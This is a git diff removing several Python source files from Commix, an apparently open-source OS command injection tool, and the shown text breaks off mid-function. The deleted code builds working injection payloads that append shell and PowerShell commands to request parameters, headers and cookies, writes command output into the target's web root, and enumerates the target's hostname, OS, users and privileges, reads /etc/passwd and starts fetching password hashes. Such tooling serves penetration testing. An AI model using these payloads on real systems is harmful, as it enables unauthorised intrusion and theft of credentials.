else: - payload = fb_payloads.cmd_execution(separator, cmd, OUTPUT_TEXTFILE) - - # Fix prefixes / suffixes - payload = parameters.prefixes(payload, prefix) - payload = parameters.suffixes(payload, suffix) - - # Whitespace fixation - payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace) - - # Perform payload modification - payload = checks.perform_payload_modification(payload) - - # Check if defined "--verbose" option. - if settings.VERBOSITY_LEVEL != 0: - payload_msg = payload.replace("\n", "\\n") - if settings.COMMENT in payload_msg: - payload = payload.split(settings.COMMENT)[0].strip() - payload_msg = payload_msg.split(settings.COMMENT)[0].strip() - debug_msg = "Executing the '" + cmd.split(settings.COMMENT)[0].strip() + "' command. " - sys.stdout.write(settings.print_debug_msg(debug_msg)) - sys.stdout.flush() - output_payload = "\n" + settings.print_payload(payload) - if settings.VERBOSITY_LEVEL != 0: - output_payload = output_payload + "\n" - sys.stdout.write(output_payload) - - # Check if defined cookie with "INJECT_HERE" tag - if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: - response = cookie_injection_test(url, vuln_parameter, payload) - - # Check if defined user-agent with "INJECT_HERE" tag - elif menu.options.agent and settings.INJECT_TAG in menu.options.agent: - response = user_agent_injection_test(url, vuln_parameter, payload) - - # Check if defined referer with "INJECT_HERE" tag - elif menu.options.referer and settings.INJECT_TAG in menu.options.referer: - response = referer_injection_test(url, vuln_parameter, payload) - - # Check if defined host with "INJECT_HERE" tag - elif menu.options.host and settings.INJECT_TAG in menu.options.host: - response = host_injection_test(url, vuln_parameter, payload) - - # Check if defined custom header with "INJECT_HERE" tag - elif settings.CUSTOM_HEADER_INJECTION: - response = custom_header_injection_test(url, vuln_parameter, payload) - - else: - # Check if defined method is GET (Default). - if not menu.options.data: - # Check if its not specified the 'INJECT_HERE' tag - #url = parameters.do_GET_check(url, http_request_method) - payload = payload.replace(" ","%20") - target = url.replace(settings.INJECT_TAG, payload) - vuln_parameter = ''.join(vuln_parameter) - request = _urllib.request.Request(target) - # Check if defined extra headers. - headers.do_check(request) - # Get the response of the request - response = requests.get_request_response(request) - - else : - # Check if defined method is POST. - parameter = menu.options.data - parameter = _urllib.parse.unquote(parameter) - # Check if its not specified the 'INJECT_HERE' tag - parameter = parameters.do_POST_check(parameter, http_request_method) - # Define the POST data - if settings.IS_JSON: - data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) - try: - data = checks.json_data(data) - except ValueError: - pass - elif settings.IS_XML: - data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) - else: - data = parameter.replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(url, data.encode(settings.UNICODE_ENCODING)) - - # Check if defined extra headers. - headers.do_check(request) - - # Get the response of the request - response = requests.get_request_response(request) - return response - - # Do the injection check - response = check_injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - return response - -""" -Find the URL directory. -""" -def injection_output(url, OUTPUT_TEXTFILE, timesec): - - def custom_web_root(url, OUTPUT_TEXTFILE): - path = _urllib.parse.urlparse(url).path - if path.endswith('/'): - # Contract again the url. - scheme = _urllib.parse.urlparse(url).scheme - netloc = _urllib.parse.urlparse(url).netloc - output = scheme + "://" + netloc + path + OUTPUT_TEXTFILE - else: - try: - path_parts = [non_empty for non_empty in path.split('/') if non_empty] - count = 0 - for part in path_parts: - count = count + 1 - count = count - 1 - last_param = path_parts[count] - output = url.replace(last_param, OUTPUT_TEXTFILE) - if "?" and ".txt" in output: - try: - output = output.split("?")[0] - except: - pass - except IndexError: - output = url + "/" + OUTPUT_TEXTFILE - settings.DEFINED_WEBROOT = output - return output - - if not settings.DEFINED_WEBROOT: - if menu.options.web_root: - _ = "/" - if not menu.options.web_root.endswith(_): - menu.options.web_root = menu.options.web_root + _ - scheme = _urllib.parse.urlparse(url).scheme - netloc = _urllib.parse.urlparse(url).netloc - output = scheme + "://" + netloc + _ + OUTPUT_TEXTFILE - - for item in settings.LINUX_DEFAULT_DOC_ROOTS: - if item == menu.options.web_root: - settings.DEFINED_WEBROOT = output - break - if not settings.DEFINED_WEBROOT: - while True: - if not menu.options.batch: - question_msg = "Do you want to use URL '" + output - question_msg += "' for command execution results extraction? [Y/n] > " - procced_option = _input(settings.print_question_msg(question_msg)) - else: - procced_option = "" - if procced_option in settings.CHOICE_YES or len(procced_option) == 0: - settings.DEFINED_WEBROOT = output - break - elif procced_option in settings.CHOICE_NO: - output = custom_web_root(url, OUTPUT_TEXTFILE) - if not settings.DEFINED_WEBROOT: - pass - else: - break - elif procced_option in settings.CHOICE_QUIT: - raise SystemExit() - else: - err_msg = "'" + procced_option + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - else: - output = custom_web_root(url, OUTPUT_TEXTFILE) - else: - output = settings.DEFINED_WEBROOT - - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Checking URL '" + settings.DEFINED_WEBROOT + "' for command execution results extraction." - print(settings.print_debug_msg(debug_msg)) - - return output - -""" -Command execution results. -""" -def injection_results(url, OUTPUT_TEXTFILE, timesec): - #Find the directory. - output = injection_output(url, OUTPUT_TEXTFILE, timesec) - # Check if defined extra headers. - request = _urllib.request.Request(output) - headers.do_check(request) - headers.check_http_traffic(request) - # Check if defined any HTTP Proxy (--proxy option). - if menu.options.proxy: - response = proxy.use_proxy(request) - # Check if defined Tor (--tor option). - elif menu.options.tor: - response = tor.use_tor(request) - else: - response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) - try: - shell = checks.page_encoding(response, action="encode").rstrip().lstrip() - #shell = [newline.replace("\n"," ") for newline in shell] - if settings.TARGET_OS == "win": - shell = [newline.replace("\r","") for newline in shell] - #shell = [space.strip() for space in shell] - shell = [empty for empty in shell if empty] - except _urllib.error.HTTPError as e: - if str(e.getcode()) == settings.NOT_FOUND_ERROR: - shell = "" - return shell - -# eof \ No newline at end of file diff --git a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py b/src/core/injections/semiblind/techniques/file_based/fb_payloads.py deleted file mode 100755 index bc7e823e05..0000000000 --- a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py +++ /dev/null @@ -1,133 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" - -""" -The "file-based" technique on semiblind OS command injection. -The available "file-based" payloads. -""" - -from src.utils import menu -from src.utils import settings - -""" -File-based decision payload (check if host is vulnerable). -""" -def decision(separator, TAG, OUTPUT_TEXTFILE): - - if settings.TARGET_OS == "win": - payload = (separator + - "powershell.exe -InputFormat none Add-Content " + - OUTPUT_TEXTFILE + " " + TAG - ) - else: - payload = (separator + - "echo " + TAG + ">" + settings.WEB_ROOT + OUTPUT_TEXTFILE - ) - - return payload - -""" -__Warning__: The alternative shells are still experimental. -""" -def decision_alter_shell(separator, TAG, OUTPUT_TEXTFILE): - - if settings.TARGET_OS == "win": - python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"open('" + OUTPUT_TEXTFILE + "','w').write('" + TAG + "')\"" - payload = (separator + - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " + - python_payload + - "') do @set /p =%i< nul" - ) - else: - payload = (separator + - "$(python -c \"f=open('" + settings.WEB_ROOT + OUTPUT_TEXTFILE + "','w')\nf.write('" + TAG + "')\nf.close()\n\")" - ) - - if settings.USER_AGENT_INJECTION == True or \ - settings.REFERER_INJECTION == True or \ - settings.HOST_INJECTION == True or \ - settings.CUSTOM_HEADER_INJECTION == True : - payload = payload.replace("\n", separator) - else: - if not settings.TAMPER_SCRIPTS['base64encode'] and \ - not settings.TAMPER_SCRIPTS['hexencode']: - if settings.TARGET_OS != "win": - payload = payload.replace("\n","%0d") - - return payload - -""" -Execute shell commands on vulnerable host. -""" -def cmd_execution(separator, cmd, OUTPUT_TEXTFILE): - - if settings.TFB_DECIMAL == True: - payload = (separator +cmd) - - elif settings.TARGET_OS == "win": - payload = (separator + - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"" + - "powershell.exe -InputFormat none write-host (cmd /c \"" + - cmd + - "\")\"') do @set /p =%i " + ">" + OUTPUT_TEXTFILE + "< nul" - ) - else: - # if settings.USER_AGENT_INJECTION == True or \ - # settings.REFERER_INJECTION == True or \ - # settings.HOST_INJECTION == True or \ - # settings.CUSTOM_HEADER_INJECTION == True: - # if not settings.DEL in cmd: - # cmd = "echo $(" + cmd + ")" - payload = (separator + - cmd + ">" + settings.WEB_ROOT + OUTPUT_TEXTFILE - ) - - return payload - -""" -__Warning__: The alternative shells are still experimental. -""" -def cmd_execution_alter_shell(separator, cmd, OUTPUT_TEXTFILE): - if settings.TARGET_OS == "win": - if settings.REVERSE_TCP: - payload = (separator +cmd + " " - ) - else: - python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"import os; os.system('" + cmd + ">" + OUTPUT_TEXTFILE + "')\"" - payload = (separator + - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " + - python_payload + - "') do @set /p =%i< nul" - ) - else: - payload = (separator + - "$(python -c \"f=open('" + settings.WEB_ROOT + OUTPUT_TEXTFILE + "','w')\nf.write('$(echo $(" + cmd + "))')\nf.close()\n\")" - ) - - # New line fixation - if settings.USER_AGENT_INJECTION == True or \ - settings.REFERER_INJECTION == True or \ - settings.HOST_INJECTION == True or \ - settings.CUSTOM_HEADER_INJECTION == True: - payload = payload.replace("\n", separator) - else: - if not settings.TAMPER_SCRIPTS['base64encode'] and \ - not settings.TAMPER_SCRIPTS['hexencode']: - if settings.TARGET_OS != "win": - payload = payload.replace("\n","%0d") - - return payload - -# eof \ No newline at end of file diff --git a/src/core/injections/semiblind/techniques/tempfile_based/__init__.py b/src/core/injections/semiblind/techniques/tempfile_based/__init__.py deleted file mode 100644 index b50e6972c9..0000000000 --- a/src/core/injections/semiblind/techniques/tempfile_based/__init__.py +++ /dev/null @@ -1,16 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" - -pass \ No newline at end of file diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py deleted file mode 100755 index 8a93c9c7f2..0000000000 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py +++ /dev/null @@ -1,572 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" - -import re -import sys - -from src.utils import logs -from src.utils import menu -from src.utils import settings -from src.utils import session_handler - -from src.thirdparty.colorama import Fore, Back, Style, init -from src.core.injections.semiblind.techniques.tempfile_based import tfb_injector - -""" -The "tempfile-based" injection technique on Semiblind OS Command Injection. -__Warning:__ This technique is still experimental, is not yet fully functional and may leads to false-positive resutls. -""" - -""" -Powershell's version number enumeration (for Windows OS) -""" -def powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): - _ = False - cmd = settings.PS_VERSION - if alter_shell: - cmd = cmd.replace("'","\\'") - # Command execution results. - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # The main command injection exploitation. - check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - session_handler.store_cmd(url, cmd, output, vuln_parameter) - _ = True - else: - output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - ps_version = output - try: - if float(ps_version): - settings.PS_ENABLED = True - ps_version = "".join(str(p) for p in output) - if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) - # Output PowerShell's version number - info_msg = "The PowerShell's version number is " - info_msg += ps_version + Style.RESET_ALL + Style.BRIGHT - sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".") - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - info_msg = "The PowerShell's version number is " + ps_version + ".\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - except ValueError: - warn_msg = "Heuristics have failed to identify the version of Powershell, " - warn_msg += "which means that some payloads or injection techniques may be failed." - print("\n" + settings.print_warning_msg(warn_msg)) - settings.PS_ENABLED = False - -""" -Hostname enumeration -""" -def hostname(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): - _ = False - if settings.TARGET_OS == "win": - settings.HOSTNAME = settings.WIN_HOSTNAME - cmd = settings.HOSTNAME - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # The main command injection exploitation. - check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - session_handler.store_cmd(url, cmd, output, vuln_parameter) - _ = True - else: - output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - shell = output - if shell: - shell = "".join(str(p) for p in output) - if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) - info_msg = "The hostname is " + str(shell) - sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".") - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - info_msg = "The hostname is " + str(shell) + ".\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - else: - warn_msg = "Heuristics have failed to identify the hostname." - print(settings.print_warning_msg(warn_msg)) - -""" -Retrieve system information -""" -def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): - _ = False - if settings.TARGET_OS == "win": - settings.RECOGNISE_OS = settings.WIN_RECOGNISE_OS - cmd = settings.RECOGNISE_OS - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # The main command injection exploitation. - check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - session_handler.store_cmd(url, cmd, output, vuln_parameter) - _ = True - else: - output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - target_os = output - if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) - if target_os: - if settings.TARGET_OS != "win": - cmd = settings.DISTRO_INFO - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - if settings.VERBOSITY_LEVEL == 0 and _: - sys.stdout.write("") - check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - session_handler.store_cmd(url, cmd, output, vuln_parameter) - else: - output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - distro_name = output - if len(distro_name) != 0: - target_os = target_os + " (" + distro_name + ")" - if settings.TARGET_OS == "win": - cmd = settings.WIN_RECOGNISE_HP - else: - cmd = settings.RECOGNISE_HP - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - if settings.VERBOSITY_LEVEL == 0 and _: - sys.stdout.write("\n") - # The main command injection exploitation. - check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - session_handler.store_cmd(url, cmd, output, vuln_parameter) - else: - output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - target_arch = output - if target_arch: - if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) - info_msg = "The target operating system is " + str(target_os) + Style.RESET_ALL - info_msg += Style.BRIGHT + " and the hardware platform is " + str(target_arch) - sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".") - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - info_msg = "The target operating system is " + str(target_os) - info_msg += " and the hardware platform is " + str(target_arch) + ".\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - else: - warn_msg = "Heuristics have failed to retrieve the system information." - print(settings.print_warning_msg(warn_msg)) - -""" -The current user enumeration -""" -def current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): - _ = False - if settings.TARGET_OS == "win": - settings.CURRENT_USER = settings.WIN_CURRENT_USER - cmd = settings.CURRENT_USER - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # The main command injection exploitation. - check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - session_handler.store_cmd(url, cmd, output, vuln_parameter) - _ = True - else: - output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - cu_account = output - if cu_account: - cu_account = "".join(str(p) for p in cu_account) - # Check if the user have super privileges. - if menu.options.is_root or menu.options.is_admin: - if settings.TARGET_OS == "win": - cmd = settings.IS_ADMIN - else: - cmd = settings.IS_ROOT - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - if settings.VERBOSITY_LEVEL == 0 and _: - sys.stdout.write("\n") - # The main command injection exploitation. - check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - session_handler.store_cmd(url, cmd, output, vuln_parameter) - else: - output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - shell = output - if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) - info_msg = "The current user is " + str(cu_account) - sys.stdout.write(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - info_msg = "The current user is " + str(cu_account) - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - if shell: - shell = "".join(str(p) for p in shell) - if (settings.TARGET_OS == "win" and not "Admin" in shell) or \ - (settings.TARGET_OS != "win" and shell != "0"): - sys.stdout.write(Style.BRIGHT + " and it is " + "not" + Style.RESET_ALL + Style.BRIGHT + " privileged" + Style.RESET_ALL + ".") - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - output_file.write(" and it is not privileged.\n") - output_file.close() - else: - sys.stdout.write(Style.BRIGHT + " and it is " + Style.RESET_ALL + Style.BRIGHT + "privileged" + Style.RESET_ALL + ".") - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - output_file.write(" and it is privileged.\n") - output_file.close() - else: - if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) - info_msg = "The current user is " + str(cu_account) - sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".") - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - info_msg = "The current user is " + str(cu_account) + "\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - else: - warn_msg = "Heuristics have failed to identify the current user." - print(settings.print_warning_msg(warn_msg)) - -""" -System users enumeration -""" -def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): - _ = False - if settings.TARGET_OS == "win": - settings.SYS_USERS = settings.WIN_SYS_USERS - settings.SYS_USERS = settings.SYS_USERS + "-replace('\s+',' '))" - # URL encode "+ " if POST request and python alternative shell. - if alter_shell and http_request_method == settings.HTTPMETHOD.POST: - settings.SYS_USERS = settings.SYS_USERS.replace("+ ","%2B") - cmd = settings.SYS_USERS - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - try: - # The main command injection exploitation. - check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - session_handler.store_cmd(url, cmd, output, vuln_parameter) - _ = True - except TypeError: - output = "" - else: - output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - sys_users = output - # Windows users enumeration. - if settings.TARGET_OS == "win": - if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) - info_msg = "Executing the 'net users' command " - info_msg += "to enumerate users entries. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - try: - if sys_users[0] : - sys_users = "".join(str(p) for p in sys_users).strip() - sys.stdout.write(settings.SUCCESS_STATUS) - sys_users_list = re.findall(r"(.*)", sys_users) - sys_users_list = "".join(str(p) for p in sys_users_list).strip() - sys_users_list = ' '.join(sys_users_list.split()) - sys_users_list = sys_users_list.split() - info_msg = "Identified " + str(len(sys_users_list)) - info_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1] - info_msg += " via 'net users' command.\n" - sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - count = 0 - for user in range(0, len(sys_users_list)): - count = count + 1 - if menu.options.privileges: - info_msg = "Confirming privileges of user '" - info_msg += sys_users_list[user] + "'. " - print(settings.print_info_msg(info_msg)) - cmd = "powershell.exe -InputFormat none write-host (([string]$(net user " + sys_users_list[user] + ")[22..($(net user " + sys_users_list[user] + ").length-3)]).replace('Local Group Memberships','').replace('*','').Trim()).replace(' ','').substring(0,6)" - check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - check_privs = output - check_privs = "".join(str(p) for p in check_privs).strip() - check_privs = re.findall(r"(.*)", check_privs) - check_privs = "".join(str(p) for p in check_privs).strip() - check_privs = check_privs.split() - if "Admin" in check_privs[0]: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " admin user" - is_privileged_nh = " is admin user " - else: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user" - is_privileged_nh = " is regular user " - else : - is_privileged = "" - is_privileged_nh = "" - print("\n (" +str(count)+ ") '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + ".") - # Add infos to logs file. - output_file = open(filename, "a") - output_file.write(" (" +str(count)+ ") " + sys_users_list[user] + is_privileged + ".\n" ) - output_file.close() - else: - sys.stdout.write(settings.FAIL_STATUS) - sys.stdout.flush() - warn_msg = "It seems that you don't have permissions to enumerate users entries." - print("\n" + settings.print_warning_msg(warn_msg)) - except TypeError: - sys.stdout.write(settings.FAIL_STATUS + "\n") - sys.stdout.flush() - pass - except IndexError: - sys.stdout.write(settings.FAIL_STATUS) - warn_msg = "It seems that you don't have permissions to enumerate users entries.\n" - sys.stdout.write("\n" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - pass - # Unix-like users enumeration. - else: - if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) - info_msg = "Fetching '" + settings.PASSWD_FILE - info_msg += "' to enumerate users entries. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - try: - if sys_users[0] : - sys_users = "".join(str(p) for p in sys_users).strip() - if len(sys_users.split(" ")) <= 1 : - sys_users = sys_users.split("\n") - else: - sys_users = sys_users.split(" ") - # Check for appropriate '/etc/passwd' format. - if len(sys_users) % 3 != 0 : - sys.stdout.write(settings.FAIL_STATUS) - sys.stdout.flush() - warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is " - warn_msg += "not in the appropriate format. Thus, it is expoted as a text file." - print("\n" + settings.print_warning_msg(warn_msg)) - sys_users = " ".join(str(p) for p in sys_users).strip() - print(sys_users) - output_file = open(filename, "a") - output_file.write(" " + sys_users) - output_file.close() - else: - sys_users_list = [] - for user in range(0, len(sys_users), 3): - sys_users_list.append(sys_users[user : user + 3]) - if len(sys_users_list) != 0 : - sys.stdout.write(settings.SUCCESS_STATUS) - info_msg = "Identified " + str(len(sys_users_list)) - info_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1] - info_msg += " in '" + settings.PASSWD_FILE + "'." - sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - count = 0 - for user in range(0, len(sys_users_list)): - sys_users = sys_users_list[user] - sys_users = ":".join(str(p) for p in sys_users) - count = count + 1 - fields = sys_users.split(":") - fields1 = "".join(str(p) for p in fields) - # System users privileges enumeration - try: - if not fields[2].startswith("/"): - raise ValueError() - if menu.options.privileges: - if int(fields[1]) == 0: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " root user " - is_privileged_nh = " is root user " - elif int(fields[1]) > 0 and int(fields[1]) < 99 : - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " system user " - is_privileged_nh = " is system user " - elif int(fields[1]) >= 99 and int(fields[1]) < 65534 : - if int(fields[1]) == 99 or int(fields[1]) == 60001 or int(fields[1]) == 65534: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " anonymous user " - is_privileged_nh = " is anonymous user " - elif int(fields[1]) == 60002: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " non-trusted user " - is_privileged_nh = " is non-trusted user " - else: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user " - is_privileged_nh = " is regular user " - else : - is_privileged = "" - is_privileged_nh = "" - else : - is_privileged = "" - is_privileged_nh = "" - sys.stdout.write("\n (" +str(count)+ ") '" + Style.BRIGHT + fields[0] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.") - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - output_file.write(" (" +str(count)+ ") '" + fields[0]+ "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) - output_file.close() - except ValueError: - if count == 1 : - warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is not in the " - warn_msg += "appropriate format. Thus, it is expoted as a text file." - print(settings.print_warning_msg(warn_msg)) - sys_users = " ".join(str(p) for p in sys_users.split(":")) - print(sys_users) - output_file = open(filename, "a") - output_file.write(" " + sys_users) - output_file.close() - else: - sys.stdout.write(settings.FAIL_STATUS) - warn_msg = "It seems that you don't have permissions to read '" - warn_msg += settings.PASSWD_FILE + "' to enumerate users entries." - sys.stdout.write("\n" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - except TypeError: - sys.stdout.write(settings.FAIL_STATUS + "\n") - sys.stdout.flush() - pass - except IndexError: - sys.stdout.write(settings.FAIL_STATUS) - warn_msg = "Some kind of WAF/IPS/IDS probably blocks the attempt to read '" - warn_msg += settings.PASSWD_FILE + "' to enumerate users entries." - sys.stdout.write("\n" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - pass - -""" -System passwords enumeration -""" -def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): - _ = False - if settings.TARGET_OS == "win": - # Not yet implemented! - pass - else: - cmd = settings.SYS_PASSES - #print(settings.SINGLE_WHITESPACE) - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - _ = True - if output == False: - output = "" - session_handler.store_cmd(url, cmd, output, vuln_parameter) - else: - output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - sys_passes = output - if 